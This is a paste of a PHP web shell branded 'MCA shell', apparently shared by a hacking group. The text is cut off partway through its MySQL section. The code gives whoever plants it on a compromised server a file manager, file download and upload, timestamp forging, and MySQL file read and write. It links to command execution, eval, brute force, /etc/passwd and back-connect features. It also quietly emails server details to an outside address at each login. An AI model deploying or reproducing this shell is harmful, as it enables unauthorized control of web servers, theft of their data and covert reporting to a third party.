· 6 years ago · Sep 02, 2019, 01:10 AM
1<?php ?><?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
8//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
9define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
10define('IS_COM', class_exists('COM') ? 1 : 0);
11define('IS_GPC', get_magic_quotes_gpc());
12$dis_func = get_cfg_var('disable_functions');
13define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
14@set_time_limit(0);
15foreach (array('_GET', '_POST') as $_request) {
16 foreach ($$_request as $_key => $_value) {
17 if ($_key{0} != '_') {
18 if (IS_GPC) {
19 $_value = s_array($_value);
20 }
21 $$_key = $_value;
22 }
23 }
24}
25/*================= Info Login ================*/
26$admin = array();
27$admin['check'] = true;
28$admin['pass'] = 'mca'; // Password login
29$admin['cookiepre'] = '';
30$admin['cookiedomain'] = '';
31$admin['cookiepath'] = '/';
32$admin['cookielife'] = 86400;
33/*===================== End =====================*/
34if ($charset == 'utf8') {
35 header("content-Type: text/html; charset=utf-8");
36} elseif ($charset == 'big5') {
37 header("content-Type: text/html; charset=big5");
38} elseif ($charset == 'gbk') {
39 header("content-Type: text/html; charset=gbk");
40} elseif ($charset == 'latin1') {
41 header("content-Type: text/html; charset=iso-8859-2");
42}
43$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
44$timestamp = time();
45/*===================== Login =====================*/
46if ($action == "logout") {
47 scookie('vbapass', '', -86400 * 365);
48 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
49 p('<body background=black>');
50 exit;
51}
52if ($admin['check']) {
53 if ($doing == 'login') {
54 if ($admin['pass'] == $password) {
55 scookie('vbapass', $password);
56 // Function mail Sender to my Email - Please remove this before you using this shell code
57 $time_shell = "" . date("d/m/Y - H:i:s") . "";
58 $ip_remote = $_SERVER["REMOTE_ADDR"];
59 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
60 $to_email = 'billgate@hackermail.com';
61 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
62 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
63 $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
64 @mail($to_email, $server_mail, $linkcr, $header);
65 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
66 p('<body bgcolor=black>
67<BR><BR><div align=center><font color=yellow face=tahoma size=2>Wellcomeback - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
68 exit;
69 } else {
70 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
71 echo $err_mess;
72 }
73 }
74 if ($_COOKIE['vbapass']) {
75 if ($_COOKIE['vbapass'] != $admin['pass']) {
76 loginpage();
77 }
78 } else {
79 loginpage();
80 }
81}
82/*===================== Login =====================*/
83$errmsg = '';
84if ($action == 'phpinfo') {
85 if (IS_PHPINFO) {
86 phpinfo();
87 } else {
88 $errmsg = 'phpinfo() function has non-permissible';
89 }
90}
91if ($doing == 'downfile' && $thefile) {
92 if (!@file_exists($thefile)) {
93 $errmsg = 'The file you want Downloadable was nonexistent';
94 } else {
95 $fileinfo = pathinfo($thefile);
96 header('Content-type: application/x-' . $fileinfo['extension']);
97 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
98 header('Content-Length: ' . filesize($thefile));
99 @readfile($thefile);
100 exit;
101 }
102}
103if ($doing == 'backupmysql' && !$saveasfile) {
104 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
105 $table = array_flip($table);
106 $result = q("SHOW tables");
107 if (!$result) p('<h2>' . mysql_error() . '</h2>');
108 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
109 header('Content-type: application/unknown');
110 header('Content-Disposition: attachment; filename=' . $filename);
111 $mysqldata = '';
112 while ($currow = mysql_fetch_array($result)) {
113 if (isset($table[$currow[0]])) {
114 $mysqldata.= sqldumptable($currow[0]);
115 }
116 }
117 mysql_close();
118 exit;
119}
120// Mysql
121if ($doing == 'mysqldown') {
122 if (!$dbname) {
123 $errmsg = 'Please input dbname';
124 } else {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 if (!file_exists($mysqldlfile)) {
127 $errmsg = 'The file you want Downloadable was nonexistent';
128 } else {
129 $result = q("select load_file('$mysqldlfile');");
130 if (!$result) {
131 q("DROP TABLE IF EXISTS tmp_angel;");
132 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
133 //Download SQL
134 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
135 $result = q("select content from tmp_angel");
136 q("DROP TABLE tmp_angel");
137 }
138 $row = @mysql_fetch_array($result);
139 if (!$row) {
140 $errmsg = 'Load file failed ' . mysql_error();
141 } else {
142 $fileinfo = pathinfo($mysqldlfile);
143 header('Content-type: application/x-' . $fileinfo['extension']);
144 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
145 header("Accept-Length: " . strlen($row[0]));
146 echo $row[0];
147 exit;
148 }
149 }
150 }
151}
152?>
153
154<html>
155<head>
156<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
157<title><?php echo str_replace('.', '', '.::---[MCA shell]---::.'); ?></title>
158<style type="text/css">
159body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
160
161a {color: #74A202;text-decoration:none;}
162a:hover{color: #f00;text-decoration:underline;}
163.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
164.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
165.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
166.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
167.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
168.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
169.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
170.head td span{font-weight:normal;}
171form{margin:0;padding:0;}
172h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
173ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
174u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
175input, textarea, button
176{
177 font-size: 9pt;
178 color: #ccc;
179 font-family: verdana, sans-serif;
180 background-color: #202020;
181 border-left: 1px solid #74A202;
182 border-top: 1px solid #74A202;
183 border-right: 1px solid #74A202;
184 border-bottom: 1px solid #74A202;
185}
186select
187{
188 font-size: 8pt;
189 font-weight: normal;
190 color: #ccc;
191 font-family: verdana, sans-serif;
192 background-color: #202020;
193}
194
195</style>
196<script type="text/javascript">
197function CheckAll(form) {
198 for(var i=0;i<form.elements.length;i++) {
199 var e = form.elements[i];
200 if (e.name != 'chkall')
201 e.checked = form.chkall.checked;
202 }
203}
204function $(id) {
205 return document.getElementById(id);
206}
207function goaction(act){
208 $('goaction').action.value=act;
209 $('goaction').submit();
210}
211</script>
212</head>
213<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
214
215
216<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
217 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
218 <tr>
219
220 <td align="center" valign=center>
221 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
222 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
223 </div>
224 </td>
225 </tr>
226 </table>
227 </div>
228
229 <script>
230 var ld=(document.all);
231 var ns4=document.layers;
232 var ns6=document.getElementById&&!document.all;
233 var ie4=document.all;
234 if (ns4)
235 ld=document.loading;
236 else if (ns6)
237 ld=document.getElementById("loading").style;
238 else if (ie4)
239 ld=document.all.loading.style;
240 function init()
241 {
242 if(ns4){ld.visibility="hidden";}
243 else if (ns6||ie4) ld.display="none";
244 }
245 </script>
246
247
248
249
250<table width="100%" border="0" cellpadding="0" cellspacing="0">
251 <tr class="head_small">
252 <td width=100%>
253 <table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self; ?>"><img src=http://s13.postimg.org/5mpfjshgj/mca.png height=86 border=0></a></td><td>
254 <span style="float:left;"> <?php echo "Hostname: " . $_SERVER['HTTP_HOST'] . ""; ?> | <a href="https://www.facebook.com/groups/MuslimCyberArmy786/" target="_blank"><?php echo str_replace('.', '', '.::[ BillGate - Muslim Cyber Army ]::.'); ?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
255
256 <?php
257$curl_on = @function_exists('curl_version');
258$mysql_on = @function_exists('mysql_connect');
259$mssql_on = @function_exists('mssql_connect');
260$pg_on = @function_exists('pg_connect');
261$ora_on = @function_exists('ocilogon');
262echo (($safe_mode) ? ("Safe_mod: <b><font color=green>ON</font></b> - ") : ("Safe_mod: <b><font color=red>OFF</font></b> - "));
263echo "PHP version: <b>" . @phpversion() . "</b> - ";
264echo "cURL: " . (($curl_on) ? ("<b><font color=green>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
265echo "MySQL: <b>";
266$mysql_on = @function_exists('mysql_connect');
267if ($mysql_on) {
268 echo "<font color=green>ON</font></b> - ";
269} else {
270 echo "<font color=red>OFF</font></b> - ";
271}
272echo "MSSQL: <b>";
273$mssql_on = @function_exists('mssql_connect');
274if ($mssql_on) {
275 echo "<font color=green>ON</font></b> - ";
276} else {
277 echo "<font color=red>OFF</font></b> - ";
278}
279echo "PostgreSQL: <b>";
280$pg_on = @function_exists('pg_connect');
281if ($pg_on) {
282 echo "<font color=green>ON</font></b> - ";
283} else {
284 echo "<font color=red>OFF</font></b> - ";
285}
286echo "Oracle: <b>";
287$ora_on = @function_exists('ocilogon');
288if ($ora_on) {
289 echo "<font color=green>ON</font></b>";
290} else {
291 echo "<font color=red>OFF</font></b><BR>";
292}
293echo "Disable functions : <b>";
294if ('' == ($df = @ini_get('disable_functions'))) {
295 echo "<font color=green>NONE</font></b><BR>";
296} else {
297 echo "<font color=red>$df</font></b><BR>";
298}
299echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
300echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
301?>
302 </td></tr></table></td>
303
304 </tr>
305 <tr class="alt1">
306 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>"; ?> - Your IP: <?php echo "<font color=yellow>" . $_SERVER['REMOTE_ADDR'] . "</font>"; ?>] </span> <br />
307--------------------------------------------------------------------------------------<br />
308
309 <a href="javascript:goaction('file');">File Manager</a> |
310 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
311 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
312 <a href="javascript:goaction('shell');">Execute Command</a> |
313 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
314 <a href="javascript:goaction('eval');">Eval PHP Code</a>
315
316 <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('brute');">Brute</a> <?php
317} ?>
318 <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php
319} ?>
320 <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
321} ?>
322
323 </td>
324 </tr>
325</table>
326<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
327<?php
328formhead(array('name' => 'goaction'));
329makehide('action');
330formfoot();
331$errmsg && m($errmsg);
332// Dir function
333!$dir && $dir = '.';
334$nowpath = getPath(SA_ROOT, $dir);
335if (substr($dir, -1) != '/') {
336 $dir = $dir . '/';
337}
338$uedir = ue($dir);
339if (!$action || $action == 'file') {
340 // Non-writeable
341 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
342 // Delete dir
343 if ($doing == 'deldir' && $thefile) {
344 if (!file_exists($thefile)) {
345 m($thefile . ' directory does not exist');
346 } else {
347 m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
348 }
349 }
350 // Create new dir
351 elseif ($newdirname) {
352 $mkdirs = $nowpath . $newdirname;
353 if (file_exists($mkdirs)) {
354 m('Directory has already existed');
355 } else {
356 m('Directory created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
357 @chmod($mkdirs, 0777);
358 }
359 }
360 // Upload file
361 elseif ($doupfile) {
362 m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
363 }
364 // Edit file
365 elseif ($editfilename && $filecontent) {
366 $fp = @fopen($editfilename, 'w');
367 m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
368 @fclose($fp);
369 }
370 // Modify
371 elseif ($pfile && $newperm) {
372 if (!file_exists($pfile)) {
373 m('The original file does not exist');
374 } else {
375 $newperm = base_convert($newperm, 8, 10);
376 m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
377 }
378 }
379 // Rename
380 elseif ($oldname && $newfilename) {
381 $nname = $nowpath . $newfilename;
382 if (file_exists($nname) || !file_exists($oldname)) {
383 m($nname . ' has already existed or original file does not exist');
384 } else {
385 m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
386 }
387 }
388 // Copu
389 elseif ($sname && $tofile) {
390 if (file_exists($tofile) || !file_exists($sname)) {
391 m('The goal file has already existed or original file does not exist');
392 } else {
393 m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
394 }
395 }
396 // File exit
397 elseif ($curfile && $tarfile) {
398 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
399 m('The goal file has already existed or original file does not exist');
400 } else {
401 $time = @filemtime($tarfile);
402 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
403 }
404 }
405 // Date
406 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
407 if (!@file_exists($curfile)) {
408 m(basename($curfile) . ' does not exist');
409 } else {
410 $time = strtotime("$year-$month-$day $hour:$minute:$second");
411 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
412 }
413 }
414 // Download
415 elseif ($doing == 'downrar') {
416 if ($dl) {
417 $dfiles = '';
418 foreach ($dl as $filepath => $value) {
419 $dfiles.= $filepath . ',';
420 }
421 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
422 $dl = explode(',', $dfiles);
423 $zip = new PHPZip($dl);
424 $code = $zip->out;
425 header('Content-type: application/octet-stream');
426 header('Accept-Ranges: bytes');
427 header('Accept-Length: ' . strlen($code));
428 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
429 echo $code;
430 exit;
431 } else {
432 m('Please select file(s)');
433 }
434 }
435 // Delete file
436 elseif ($doing == 'delfiles') {
437 if ($dl) {
438 $dfiles = '';
439 $succ = $fail = 0;
440 foreach ($dl as $filepath => $value) {
441 if (@unlink($filepath)) {
442 $succ++;
443 } else {
444 $fail++;
445 }
446 }
447 m('Deleted file have finished??choose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
448 } else {
449 m('Please select file(s)');
450 }
451 }
452 // Function Newdir
453 formhead(array('name' => 'createdir'));
454 makehide('newdirname');
455 makehide('dir', $nowpath);
456 formfoot();
457 formhead(array('name' => 'fileperm'));
458 makehide('newperm');
459 makehide('pfile');
460 makehide('dir', $nowpath);
461 formfoot();
462 formhead(array('name' => 'copyfile'));
463 makehide('sname');
464 makehide('tofile');
465 makehide('dir', $nowpath);
466 formfoot();
467 formhead(array('name' => 'rename'));
468 makehide('oldname');
469 makehide('newfilename');
470 makehide('dir', $nowpath);
471 formfoot();
472 formhead(array('name' => 'fileopform'));
473 makehide('action');
474 makehide('opfile');
475 makehide('dir');
476 formfoot();
477 $free = @disk_free_space($nowpath);
478 !$free && $free = 0;
479 $all = @disk_total_space($nowpath);
480 !$all && $all = 0;
481 $used = $all - $free;
482 $used_percent = @round(100 / ($all / $free), 2);
483 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
484?>
485
486<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
487 <form action="" method="post" id="godir" name="godir">
488 <tr>
489 <td nowrap>Current Directory (<?php echo $dir_writeable; ?>, <?php echo getChmod($nowpath); ?>)</td>
490 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath; ?>" type="text" style="width:100%;margin:0 8px;"></td>
491 <td nowrap><input class="bt" value="GO" type="submit"></td>
492 </tr>
493 </form>
494
495</table>
496<script type="text/javascript">
497function createdir(){
498 var newdirname;
499 newdirname = prompt('Please input the directory name:', '');
500 if (!newdirname) return;
501 $('createdir').newdirname.value=newdirname;
502 $('createdir').submit();
503}
504function fileperm(pfile){
505 var newperm;
506 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
507 if (!newperm) return;
508 $('fileperm').newperm.value=newperm;
509 $('fileperm').pfile.value=pfile;
510 $('fileperm').submit();
511}
512function copyfile(sname){
513 var tofile;
514 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
515 if (!tofile) return;
516 $('copyfile').tofile.value=tofile;
517 $('copyfile').sname.value=sname;
518 $('copyfile').submit();
519}
520function rename(oldname){
521 var newfilename;
522 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
523 if (!newfilename) return;
524 $('rename').newfilename.value=newfilename;
525 $('rename').oldname.value=oldname;
526 $('rename').submit();
527}
528function dofile(doing,thefile,m){
529 if (m && !confirm(m)) {
530 return;
531 }
532 $('filelist').doing.value=doing;
533 if (thefile){
534 $('filelist').thefile.value=thefile;
535 }
536 $('filelist').submit();
537}
538function createfile(nowpath){
539 var filename;
540 filename = prompt('Please input the file name:', '');
541 if (!filename) return;
542 opfile('editfile',nowpath + filename,nowpath);
543}
544function opfile(action,opfile,dir){
545 $('fileopform').action.value=action;
546 $('fileopform').opfile.value=opfile;
547 $('fileopform').dir.value=dir;
548 $('fileopform').submit();
549}
550function godir(dir,view_writable){
551 if (view_writable) {
552 $('godir').view_writable.value=1;
553 }
554 $('godir').dir.value=dir;
555 $('godir').submit();
556}
557</script>
558 <?php
559 tbhead();
560 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
561 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
562 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
563 if ($view_writable) {
564 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
565 } else {
566 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
567 }
568 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
569 if (IS_WIN && IS_COM) {
570 $obj = new COM('scripting.filesystemobject');
571 if ($obj && is_object($obj)) {
572 $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
573 foreach ($obj->Drives as $drive) {
574 if ($drive->DriveType == 2) {
575 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
576 } else {
577 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
578 }
579 }
580 }
581 }
582 p('</td></tr></form>');
583 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
584 // Get path
585 $dirdata = array();
586 $filedata = array();
587 if ($view_writable) {
588 $dirdata = GetList($nowpath);
589 } else {
590 // Open dir
591 $dirs = @opendir($dir);
592 while ($file = @readdir($dirs)) {
593 $filepath = $nowpath . $file;
594 if (@is_dir($filepath)) {
595 $dirdb['filename'] = $file;
596 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
597 $dirdb['dirchmod'] = getChmod($filepath);
598 $dirdb['dirperm'] = getPerms($filepath);
599 $dirdb['fileowner'] = getUser($filepath);
600 $dirdb['dirlink'] = $nowpath;
601 $dirdb['server_link'] = $filepath;
602 $dirdb['client_link'] = ue($filepath);
603 $dirdata[] = $dirdb;
604 } else {
605 $filedb['filename'] = $file;
606 $filedb['size'] = sizecount(@filesize($filepath));
607 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
608 $filedb['filechmod'] = getChmod($filepath);
609 $filedb['fileperm'] = getPerms($filepath);
610 $filedb['fileowner'] = getUser($filepath);
611 $filedb['dirlink'] = $nowpath;
612 $filedb['server_link'] = $filepath;
613 $filedb['client_link'] = ue($filepath);
614 $filedata[] = $filedb;
615 }
616 } // while
617 unset($dirdb);
618 unset($filedb);
619 @closedir($dirs);
620 }
621 @sort($dirdata);
622 @sort($filedata);
623 $dir_i = '0';
624 foreach ($dirdata as $key => $dirdb) {
625 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
626 $thisbg = bg();
627 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
628 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
629 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
630 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
631 p('<td nowrap>--</td>');
632 p('<td nowrap>');
633 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
634 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
635 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
636 p('</tr>');
637 $dir_i++;
638 } else {
639 if ($dirdb['filename'] == '..') {
640 p('<tr class=fout>');
641 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
642 p('</tr>');
643 }
644 }
645 }
646 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
647 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
648 makehide('action', 'file');
649 makehide('thefile');
650 makehide('doing');
651 makehide('dir', $nowpath);
652 $file_i = '0';
653 foreach ($filedata as $key => $filedb) {
654 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
655 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
656 $thisbg = bg();
657 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
658 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
659 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
660 p('<td nowrap>' . $filedb['mtime'] . '</td>');
661 p('<td nowrap>' . $filedb['size'] . '</td>');
662 p('<td nowrap>');
663 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
664 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
665 p('<td nowrap>');
666 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
667 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
668 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
669 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
670 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
671 p('</td></tr>');
672 $file_i++;
673 }
674 }
675 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
676 p('</form></table>');
677} // end dir
678elseif ($action == 'sqlfile') {
679 if ($doing == "mysqlupload") {
680 $file = $_FILES['uploadfile'];
681 $filename = $file['tmp_name'];
682 if (file_exists($savepath)) {
683 m('The goal file has already existed');
684 } else {
685 if (!$filename) {
686 m('Please choose a file');
687 } else {
688 $fp = @fopen($filename, 'r');
689 $contents = @fread($fp, filesize($filename));
690 @fclose($fp);
691 $contents = bin2hex($contents);
692 if (!$upname) $upname = $file['name'];
693 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
694 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
695 m($result ? 'Upload success' : 'Upload has failed: ' . mysql_error());
696 }
697 }
698 }
699?>
700
701<script type="text/javascript">
702function mysqlfile(doing){
703 if(!doing) return;
704 $('doing').value=doing;
705 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
706 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
707 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
708 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
709 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
710 $('mysqlfile').charset.value=$('dbinfo').charset.value;
711 $('mysqlfile').submit();
712}
713</script>
714<?php
715 !$dbhost && $dbhost = 'localhost';
716 !$dbuser && $dbuser = 'root';
717 !$dbport && $dbport = '3306';
718 $charsets = array('' => 'Default', 'gbk' => 'GBK', 'big5' => 'Big5', 'utf8' => 'UTF-8', 'latin1' => 'Latin1');
719 formhead(array('title' => 'MYSQL Information', 'name' => 'dbinfo'));
720 makehide('action', 'sqlfile');
721 p('<p>');
722 p('DBHost:');
723 makeinput(array('name' => 'dbhost', 'size' => 20, 'value' => $dbhost));
724 p(':');
725 makeinput(array('name' => 'dbport', 'size' => 4, 'value' => $dbport));
726 p('DBUser:');
727 makeinput(array('name' => 'dbuser', 'size' => 15, 'value' => $dbuser));
728 p('DBPass:');
729 makeinput(array('name' => 'dbpass', 'size' => 15, 'value' => $dbpass));
730 p('DBName:');
731 makeinput(array('name' => 'dbname', 'size' => 15, 'value' => $dbname));
732 p('DBCharset:');
733 makeselect(array('name' => 'charset', 'option' => $charsets, 'selected' => $charset));
734 p('</p>');
735 formfoot();
736 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
737 p('<h2>Upload file</h2>');
738 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
739 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
740 p('<h2>Download file</h2>');
741 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
742 makehide('dbhost');
743 makehide('dbport');
744 makehide('dbuser');
